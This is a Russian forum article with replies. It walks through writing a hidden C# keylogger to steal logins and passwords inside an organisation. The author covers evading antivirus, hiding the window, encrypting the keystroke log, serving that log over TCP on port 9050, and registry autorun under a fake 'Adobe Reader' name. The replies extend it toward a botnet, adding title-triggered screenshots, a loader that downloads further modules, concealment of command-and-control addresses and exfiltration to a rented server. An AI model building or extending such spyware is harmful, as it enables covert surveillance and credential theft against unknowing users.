Статья Пишем simple-кейлогер с передачей дампа по TCP на C#

Однажды возникла острая необходимость выяснить логины/пароли от ряда сетевых ресурсов в крупной организации. Выходов было два - MITM и неизвестность или конкретная цель и кейлогер.
Поскольку практически все известные кейлогеры есть в базах KAV и прочей антивирусной шняги, было принято решение писать что-то свое, без всяких няшных гуев на C# (.Net 3.5-4.0).
Only console,only hardcore.
Задач было две - перехватывать все нажатия клавиш с учетом раскладки клавиатуры, отслеживать долгие нажатия клавиш (зажатый shift и пр.,определять где большая буква, где маленькая.) + забрать логи без палева по сети через TCP на случайном порту.

И в этой статье я покажу несложную реализацию, но сразу скажу, что в ней будет несколько ограничений, чтобы киды не шалили. Кто шарит - допилит под себя. (исходник - в конце статьи)

Начнем.
Кодить можно в любой байде,я выбрал Microsoft VisualStudio.
Разработка состоит из следующих этапов:
1. установка хука
2. обработка нажатий
3. шифрование
3. запись в файл
4. создать сервер на произвольном порту, чтобы забирать дамп.

Сперва подключим пространства имен:

upload_2016-11-21_15-35-43.png



выделим из них using System.IO - ввод/вывод, System.Net.Sockets - для создания соединений, using System.Security.Cryptography - шифрование.

Затем инициализируем параметры:
upload_2016-11-21_15-37-32.png


WM_KEYDOWN = 0x0100; //нажали
WM_KEYUP = 0x0101; //отпустили
WM_SYSKEYUP = 0x0105; //отпустили syskey
WM_SYSKEYDOWN = 0x0104 //нажали syskey
public const int KF_REPEAT = 0X40000000; //флаг удержания

Ставим "указатели" для установки Hook . Вообще хук - древнее, испытанное средство, работающее от winxp до win10. Инфы по ним - масса.

upload_2016-11-21_15-37-14.png


Описание хука должно быть вынесено за пределы всяких процедур и находится в общем классе.
Нашему приложении придется выполнять две задачи сразу: писать нажатия и висеть с открытым сокетом. Без тредов тут не обойтись.
До описания void Main пишем [STAThread] - это позволит создать два потока.
upload_2016-11-21_15-38-4.png


Поскольку приложение у нас консольное - нам нужно, чтобы его не было видно.
Для этого в static void Main пишем:
upload_2016-11-21_15-38-33.png


ShowWindow(handle, SW_HIDE); //если закомментировать - окно будет visible
upload_2016-11-21_15-39-1.png

Ставим хук (описание будет ниже)

Далее там же определяем текущую раскладку клавы. Используем метод GetKeyboardLayout();
upload_2016-11-21_15-39-49.png

Обращаем внимание на Writer(Encrypt)( ) - в дальнейшем функция будет записывать и шифровать каждый нажатый символ. Создаем потоки через System.Threading.Thread.
Не забываем снять хук после завершения работы программы:
upload_2016-11-21_15-40-45.png


Теперь пишем функцию для установки хуков. Вызывается из блока Main:
upload_2016-11-21_15-41-11.png

Пишем делегат уже за пределами функции SetHook:
upload_2016-11-21_15-41-27.png


Теперь хук установлен (почти). Куда же идти дальше? Дальше - рыбалка :)
Пишем функцию для отлова нажатий клавиш:
upload_2016-11-21_15-42-4.png


int vkCode = Marshal.ReadInt32(lParam); - один из самых надежных методов - Marshal, но он дает нам не клавишу в чистом виде, а ее код. Например: F == 70
Далее - переводим из marshal в string.

upload_2016-11-21_15-43-0.png

Если нажали F, то в vkCode будет 70, а mystring=="F"
Далее определяем раскладку клавиатуры:
upload_2016-11-21_15-43-19.png


Writer(encrypted); - пишем факт смены раскладки.
mss = mss_check; -по этой переменной при следующем нажатии определяем, изменилась ли раскладка. Кстати если будете дебажить - учтите, что софт будет писать и клавиши отладки (F9,F10 и реагировать на них).
Пишем все остальные нажатия:
upload_2016-11-21_15-44-28.png

Далее пишем только те что были отпущены (в нашем случае все контрольные)

upload_2016-11-21_15-45-36.png


Похожим образом можно ловить сочетания клавиш, например так:
upload_2016-11-21_15-45-57.png

и обрабатывать их со своими правилами.

Или же делать вообще веселые вещи - блокировать сочетания клавиш:
upload_2016-11-21_15-46-26.png

return (IntPtr)1; - как раз и блокирует :)

Чтобы наше приложение не зависло после первой нажатой клавиши, нужно предусмотреть выход из процедуры:
upload_2016-11-21_15-47-12.png


На этом с функцией HookCallback покончено. Займемся троянским конем с одной функцией - передать нам данные из файла лога.
Поскольку сокеты вещь капризная, оформляем ее в try - catch конструкцию:
public static void ServerSocket()
{
while (true) // цикл с условием :)
{
{
try
{
Создаем точку подключения из текущего IP и порта 9050. Я специально убрал поиск и выбор случайного порта, но порт 9050 как правило, не закрыт.
upload_2016-11-21_15-48-16.png

1. Получаем текущий IP и устанавливаем порт.
2. Создаем сокет.
3. Биндим и ждем подключений .
Поскольку наша прога - сервер - мы ждем клиента. Создаем сокет для клиента:

upload_2016-11-21_15-49-16.png

1. Получаем удаленный IP.
2. Создаем коннект.
3. Пишем в лог, что подключились.

Далее необходимо инициировать отправку файла от сервера клиенту. Для этого снова делаем обертку из try-catch.

upload_2016-11-21_15-50-37.png

Для отправки используем Socket.SendFile. Лог сохраняется туда же, где лежит текущее приложение.
После передачи - разрываем коннект.

Желающие могут переписать client.SendFile на FtpWebRequest reqFTP или SmtpClient client = new SmtpClient(), чтобы использовать возможности FTP или email, но последний не советую, т.к. корпоративные почтовики пишут логи+придется писать еще модуль для работы через proxy.
(подобным же образом можно дописать и шелл-оболочку, hello metsvc )

Осталось только дописать две функции: запись и шифрование.
Запись реализуется чрезвычайно просто:
upload_2016-11-21_15-53-17.png

Обращаем внимание - пишем каждый символ с новой строки. Почему так - скажу в конце.
А вот теперь модуль Encrypt. Дабы не изобретать велосипед - возьмем готовый.

Опишу модуль лишь в кратце. Сложностей там нет.
Шифрование будет AES-256. Параметры у меня предустановлены. Главные из них - длина ключа и вектор.
upload_2016-11-21_15-54-12.png


Cоздаем MemoryStream - работать с памятью удобнее и быстрее. Для шифрование - лучший вариант.
Затем создаем крипто-поток. Получается в некотором роде "матрешка" из потоков.
//пишем
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
// записали - почистили
cryptoStream.FlushFinalBlock();
//закрываем потоки
memStream.Close();
cryptoStream.Close();

Теперь есть одна сложность, почему пишем с новой строки, а не продолжаем дальше. AES не позволяет шифровать данные на лету. Если мы так попробуем сделать - файл будет тупо перезаписываться или в конец будет добавлено шифрованное содержимое, которые мы уже никогда не расшифруем, ибо программа не сможет определить где начало,где конец.

Что же делать? Выход прост и лаконичен:
После symmetricKey.Clear(); дописываем следующую строчку:

upload_2016-11-21_15-55-34.png

Да,да. Старый, добрый Base64.
Работает это так: нажали А - открыли файл для записи, зашифровали А в <&5d92_)_*3>, а <&5d92_)_*3> записали в Base64 H1BoaX7twhPxtE5AuydhHQ==

В итоге шифрованный файл у нас будет выглядеть как-то так:

3/Cy4CkgahXIZxzWIcHB/w==
bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PjN3NuyZ7s5MdfA+l3fkVHp
fHiGcrcccgtDbW4+Tpf7wA==
bEvDy6XwQ/TCSLteiHV8HNfOpYHaM1wcUjbWXcIA2PhUzj0ghbJZVoJgsbRiS6CH
H1BoaX7twhPxtE5AuydhHQ==
GMv5+3F6dLb5GymIvv3Lhg==
9har47I/6mOOnWtllg52nQ==
fHiGcrcccgtDbW4+Tpf7wA==
8E2+NLMvagqELD4ggKoT0g==
IFwu4krJ7dIVqKdbH/EQ0g==
8E2+NLMvagqELD4ggKoT0g==


Присутствует потенциальная уязвимость, ибо одинаковые символы шифруются AES и Base64 одинаково, и статистически возможно определение одного символа или группы символов
(пароли и вектор ведь не меняются).

По TCP все передается plaintext - поскольку все и так зашифровано - для расшифровки нужно знать длину ключа, пароль, вектор. Без этих данных расшифровка - тухлое дело.

И чуть не забыл самое главное. Чтобы хук работал, нужно получить все нужные нам функции через DLLImport. В конец главного класса дописываем:

upload_2016-11-21_15-56-51.png


Все перечислять не буду - полное описание будет во вложении.
Последнее замечание: поскольку всё это написано на C# 4.0 (уж так получилось), то работать это будет на всей ветке Windows, начиная с Win2003S до Win8.1 и скорее всего и Win10 с установленным .NetFramework 4.0 (лично я проверял на WinXP, Win7,Win2008,Win8.1)

На этом создание кейлогера окончено. Что делать дальше?
Писать клиента для подключения к кейлогеру и дешифратор.
Многие наверняка уже поняли, что функцию Encrypt легко можно превратить в Decrypt, просто порядок другой, и сначала нужно будет открыть файл :)

Всем спасибо!

p.s. материалы и описание функций - все есть в MSDN и Google :)
 

Вложения

  • upload_2016-11-21_15-36-9.png
    upload_2016-11-21_15-36-9.png
    5,6 КБ · Просмотры: 804
  • upload_2016-11-21_15-36-18.png
    upload_2016-11-21_15-36-18.png
    5,6 КБ · Просмотры: 523
  • upload_2016-11-21_15-48-5.png
    upload_2016-11-21_15-48-5.png
    4,5 КБ · Просмотры: 763
  • Program.txt
    13,3 КБ · Просмотры: 1 326
Последнее редактирование модератором:
I

Ishikawa

Тем, кому интересно - допишем серверную часть, добавив хорошую плюшку: автозапуск нашего софта.
Создадим функцию SetAutorunValue. Передавать будем два параметра: true/false для установки или удаления приложения в реестре и сокет для отправки нам ответа.
Вначале объявим имя переменной, под которой будет запускаться наша программа. Я назвал Adobe Reader (ибо есть некая ускоряшка от Adobe):

upload_2016-12-1_16-18-56.png


Собственно, ExePath будет содержать полный путь до нашей программы, а переменная reg - это как раз путь в реестре для установки.
Обратите внимание на блок if - else. Если передаем true - будет запись в реестр, если false - удаление.
За это отвечают ключи reg.SetValue и reg.DeleteValue. Если возникнет некая ошибка (например, нет прав доступа) ответ придет нам через сокет из блока catch.

Использовать это будем таким образом. В коде сервера находим наш блок switch и дописываем туда еще две опции:
upload_2016-12-1_16-22-53.png


Соответственно с клиента достаточно соединиться и набрать команды install/uninstall
На этом всё :)
 
Последнее редактирование модератором:
  • Нравится
Реакции: IioS
I

Ishikawa

Ну что ж... давайте кое-что поправим, уберем одно из ограничений.
В функции ServerSocket() меняем местами try и while:

upload_2016-12-5_17-7-48.png


те, кто активно тестировал могли заметить, что цикл while был выше и не прерывался никогда, в итоге приложение в какой-то момент при попытке коннекта с клиентом просто завершалось с ошибкой.
Соответственно, поменяв блоки местами, не забываем вынести catch в конец функции:

upload_2016-12-5_17-9-50.png


Собственно эти шаги должны предотвратить нежелательное закрытие серверной части.
 

viktorcruce

Green Team
19.12.2016
28
5
BIT
0
хай бро очень интересная статья большой большой плюс тебе в карму.. подскажи как сделать так что бы скрины запускались после отлова определенных слов из тайтлов программ и допустим скринилось в течении 10-15 минут каждые 5-10 секунд. тут по идеи надо в отдельный поток все пускать?
 
I

Ishikawa

хай бро очень интересная статья большой большой плюс тебе в карму.. подскажи как сделать так что бы скрины запускались после отлова определенных слов из тайтлов программ и допустим скринилось в течении 10-15 минут каждые 5-10 секунд. тут по идеи надо в отдельный поток все пускать?

И тебе привет, бро. Сначала нужно получить заголовки всех окон, затем положить их в массив, сделать поиск по массиву. В зависимости от найденного запускать ф-ю Screen(); каждые N-секунд через System.Timer
Начать можно с этого:

upload_2016-12-20_15-17-19.png
 
  • Нравится
Реакции: <~DarkNode~>

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Статья хорошая. Как шарпист - шарписту молодец. А продукт можно развивать до бесконечности, когда я писал кейлоггер он стал частью ботнета. Чего вы ждете дешифратор? Если Автор заявил что AES-256, то пишется примерно так.
Код:
 using (AesCryptoServiceProvider aesAlg = new AesCryptoServiceProvider())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;
                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
           
                using (MemoryStream msDecrypt = new MemoryStream(cipherText))
                {
                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader srDecrypt = new StreamReader(csDecrypt))
                        {                      
                            plaintext = srDecrypt.ReadToEnd();
                        }
                    }
                }

            }

            return plaintext;
 
Последнее редактирование:
  • Нравится
Реакции: Ishikawa и <~DarkNode~>

viktorcruce

Green Team
19.12.2016
28
5
BIT
0
И тебе привет, бро. Сначала нужно получить заголовки всех окон, затем положить их в массив, сделать поиск по массиву. В зависимости от найденного запускать ф-ю Screen(); каждые N-секунд через System.Timer
Начать можно с этого:

Посмотреть вложение 8108
т.е. этот весь фарш вписываю в этот метод HookCallback. сильно не пинайте только только изучаю С#

Как лучше сделать подскажите собратья) . Допустим грузим пустого - безобидного бота. После того как бот расположился в системе он начинает тянуть все необходимы нам модули тот же кейлогер и тд. Надо в теле бота просто прописать сокет который подключается к северу и уже подгружает основной фарш? есть у кого-нибудь примерный исходник такого кода?)
 
Последнее редактирование модератором:

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Глянь мою тему. На самом деле всё просто как 2х2. WebClient webClient = new WebClient(); wevClient.DownloadFile("URL_TO_FILE");
Можно конечно и через сокеты, но это как в Москву ехать через Китай. А так HttpWebRequest и HttpWebResponse - достаточно универсальные классы для работы с протоколом HTTP. Раскури их и будет тебе счастье.
 
  • Нравится
Реакции: Ishikawa и <~DarkNode~>
I

Ishikawa

Всем привет! Дешифратор будет, я его обещал. По обстоятельствам не могу добраться до этого дела.
Там помимо AES еще и Base64, т.е. на вход пойдет что-то вроде: Jq882zKZf50P1JFcWhPgBg==
Т.о. перед декодировкой из AES нужно сделать декодировку из Base64: byte[] cipherTextBytes = Convert.FromBase64String(cipherText);

Прошу понять и потерпеть :)
 
I

Ishikawa

т.е. этот весь фарш вписываю в этот метод HookCallback.
Надо в теле бота просто прописать сокет который подключается к северу
В HookCallback не нужно, иначе метод будет вызываться при каждом жмяке по кнопкам. Достаточно и отдельной функции.
Прописывать адреса серверов в коде я бы не стал. Многие интересные вещи спалились на этом деле и теперь украшают доски всяческих Virustotal'ов.
 
  • Нравится
Реакции: viktorcruce
I

Ishikawa

Давайте кое-что изменим в коде серверной части, чтобы в дешифраторе избавить себя от некоторых проблем.
В функции HookCallback находим участок, отвечающий за запись нажатий клавиш:
upload_2016-12-21_17-16-45.png

После него идет WM_KEYUP, нужный для того, чтобы отследить что клавиша была отпущена.
Перепишем WM_KEYUP, как на картинке ниже:
upload_2016-12-21_17-18-13.png


Обратите внимание на стрелочку. По ней мы будем определять, что кнопка уже отпущена.
В дешифраторе реализуем несложную логику, чтобы эти стрелки служили нам ориентирами.
Например: ↑n↓intendo - будет означать, что n - буква заглавная, а ↑1↓ - будет означать знак "!"
 
  • Нравится
Реакции: Сергей Попов

viktorcruce

Green Team
19.12.2016
28
5
BIT
0
В HookCallback не нужно, иначе метод будет вызываться при каждом жмяке по кнопкам. Достаточно и отдельной функции.
Прописывать адреса серверов в коде я бы не стал. Многие интересные вещи спалились на этом деле и теперь украшают доски всяческих Virustotal'ов.
А как граммотно шифрануть адрес тогда ? если в теле бота палево? и не совсем понимаю как бот будет понимать куда ему слить лог?
 
I

Ishikawa

А как граммотно шифрануть адрес тогда ? если в теле бота палево? и не совсем понимаю как бот будет понимать куда ему слить лог?
С написанием ботов я не сталкивался, но я бы сделал так, чтобы не сервер подключался ко мне, а я к серверу. Это намного безопаснее. Нужно лишь знать адреса твоих ботов.
Адрес можно зашифровать тем же AES-128/256, но нужно подумать, как быть с хранением ключей и векторов.
 

viktorcruce

Green Team
19.12.2016
28
5
BIT
0
С написанием ботов я не сталкивался, но я бы сделал так, чтобы не сервер подключался ко мне, а я к серверу. Это намного безопаснее. Нужно лишь знать адреса твоих ботов.
Адрес можно зашифровать тем же AES-128/256, но нужно подумать, как быть с хранением ключей и векторов.
не совсем понял этот как: " чтобы не сервер подключался ко мне, а я к серверу."? можно подробнее , если не трудно
 
B

BaJIepraH

не сказать что это качественный мануал=не сказать ничего,еще раз вдумчиво перечитаю и попробую версию с блекджеком накидать.за труды уважуха.
 
I

Ishikawa

не совсем понял этот как: " чтобы не сервер подключался ко мне, а я к серверу."? можно подробнее , если не трудно
Материалов масса по данном вопросу. Обычные клиент-серверные технологии.
Возьмем простой пример, не youtube ведь подключается к тебе, а ты к youtube. Ты клиент. youtube- сервер.
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Материалов масса по данном вопросу. Обычные клиент-серверные технологии.
Возьмем простой пример, не youtube ведь подключается к тебе, а ты к youtube. Ты клиент. youtube- сервер.
К сожалению это бы сработало в случае один на миллион, так как жертва почти всегда за NAT'ом. Самый дельный вариант, это повесить на VDSку какой нить принимающий скрипт и кидать дамп туда. И безопасно и работает везде.
 
  • Нравится
Реакции: BaJIepraH
I

Ishikawa

К сожалению это бы сработало в случае один на миллион, так как жертва почти всегда за NAT'ом. Самый дельный вариант, это повесить на VDSку какой нить принимающий скрипт и кидать дамп туда. И безопасно и работает везде.
А коде прописать адрес vds и спалиться?
 
I

IvanZnak

Спасибо за статью. Интересно, доступно, познавательно.
Пробовал разобраться с дешифратором (исходя из условий шифрования).
Где-то нашел...
1.png

Но...
2.png

Смотрел на разных форумах (информации много), но не смог разобраться сам (мало знаний).
Может кто подскажет. Если я не тороплю ветку.
 
I

Ishikawa

А что ты передаешь в plainTextBytes? Посмотри через отладку, что у тебя в этой переменной?
А дешифратор будет на следующей неделе :)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!